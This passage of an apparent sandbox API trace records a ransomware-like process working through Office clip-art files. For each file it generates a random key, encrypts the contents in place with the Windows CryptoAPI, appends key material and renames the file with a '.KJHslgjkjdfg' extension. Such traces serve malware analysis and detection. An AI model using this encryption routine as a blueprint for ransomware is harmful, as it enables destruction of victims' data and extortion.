dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.096] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.096] GetProcessHeap () returned 0x2a0000 [0180.096] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.096] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.096] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.096] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.096] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.096] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.096] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.096] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.096] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.097] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.097] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6e74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6e74, lpOverlapped=0x0) returned 1 [0180.098] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6e80, dwBufLen=0x6e80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6e80) returned 1 [0180.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.098] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6e80, lpOverlapped=0x0) returned 1 [0180.099] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.099] SetEndOfFile (hFile=0x114) returned 1 [0180.102] GetProcessHeap () returned 0x2a0000 [0180.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.102] GetProcessHeap () returned 0x2a0000 [0180.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.kjhslgjkjdfg")) returned 1 [0180.104] CloseHandle (hObject=0x114) returned 1 [0180.104] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1 [0180.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.106] GetProcessHeap () returned 0x2a0000 [0180.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.106] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.106] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.106] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0180.114] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.114] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.114] GetProcessHeap () returned 0x2a0000 [0180.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.114] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.114] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.114] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.114] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.114] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.114] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.115] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.115] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.115] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.115] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.115] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.115] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x180e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x180e, lpOverlapped=0x0) returned 1 [0180.116] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1810, dwBufLen=0x1810 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1810) returned 1 [0180.116] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.116] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1810, lpOverlapped=0x0) returned 1 [0180.116] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.116] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x18e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.116] SetEndOfFile (hFile=0x114) returned 1 [0180.119] GetProcessHeap () returned 0x2a0000 [0180.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.119] GetProcessHeap () returned 0x2a0000 [0180.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.kjhslgjkjdfg")) returned 1 [0180.121] CloseHandle (hObject=0x114) returned 1 [0180.121] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1 [0180.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.122] GetProcessHeap () returned 0x2a0000 [0180.122] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.122] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.122] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.122] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.124] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.124] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.124] GetProcessHeap () returned 0x2a0000 [0180.124] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.124] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.125] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.125] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.125] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.125] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.125] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.125] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.125] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.125] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.125] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.125] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.125] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x25cc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x25cc, lpOverlapped=0x0) returned 1 [0180.127] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x25d0, dwBufLen=0x25d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x25d0) returned 1 [0180.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.127] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x25d0, lpOverlapped=0x0) returned 1 [0180.127] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x26a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.127] SetEndOfFile (hFile=0x114) returned 1 [0180.130] GetProcessHeap () returned 0x2a0000 [0180.130] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.130] GetProcessHeap () returned 0x2a0000 [0180.130] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.kjhslgjkjdfg")) returned 1 [0180.132] CloseHandle (hObject=0x114) returned 1 [0180.132] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1 [0180.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.134] GetProcessHeap () returned 0x2a0000 [0180.134] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.134] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.135] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.135] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0180.137] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.137] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.137] GetProcessHeap () returned 0x2a0000 [0180.137] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.137] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.137] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.137] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.137] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.137] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.137] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.138] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.138] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.138] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.138] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.138] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.138] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x199a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x199a, lpOverlapped=0x0) returned 1 [0180.139] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19a0, dwBufLen=0x19a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19a0) returned 1 [0180.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.139] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x19a0, lpOverlapped=0x0) returned 1 [0180.139] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.139] SetEndOfFile (hFile=0x114) returned 1 [0180.142] GetProcessHeap () returned 0x2a0000 [0180.142] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.142] GetProcessHeap () returned 0x2a0000 [0180.142] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.kjhslgjkjdfg")) returned 1 [0180.144] CloseHandle (hObject=0x114) returned 1 [0180.144] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212751.WMF", cAlternateFileName="")) returned 1 [0180.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.146] GetProcessHeap () returned 0x2a0000 [0180.146] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.146] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.146] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.146] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.148] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.148] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.148] GetProcessHeap () returned 0x2a0000 [0180.148] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.148] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.148] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.148] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.148] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.149] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.149] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, 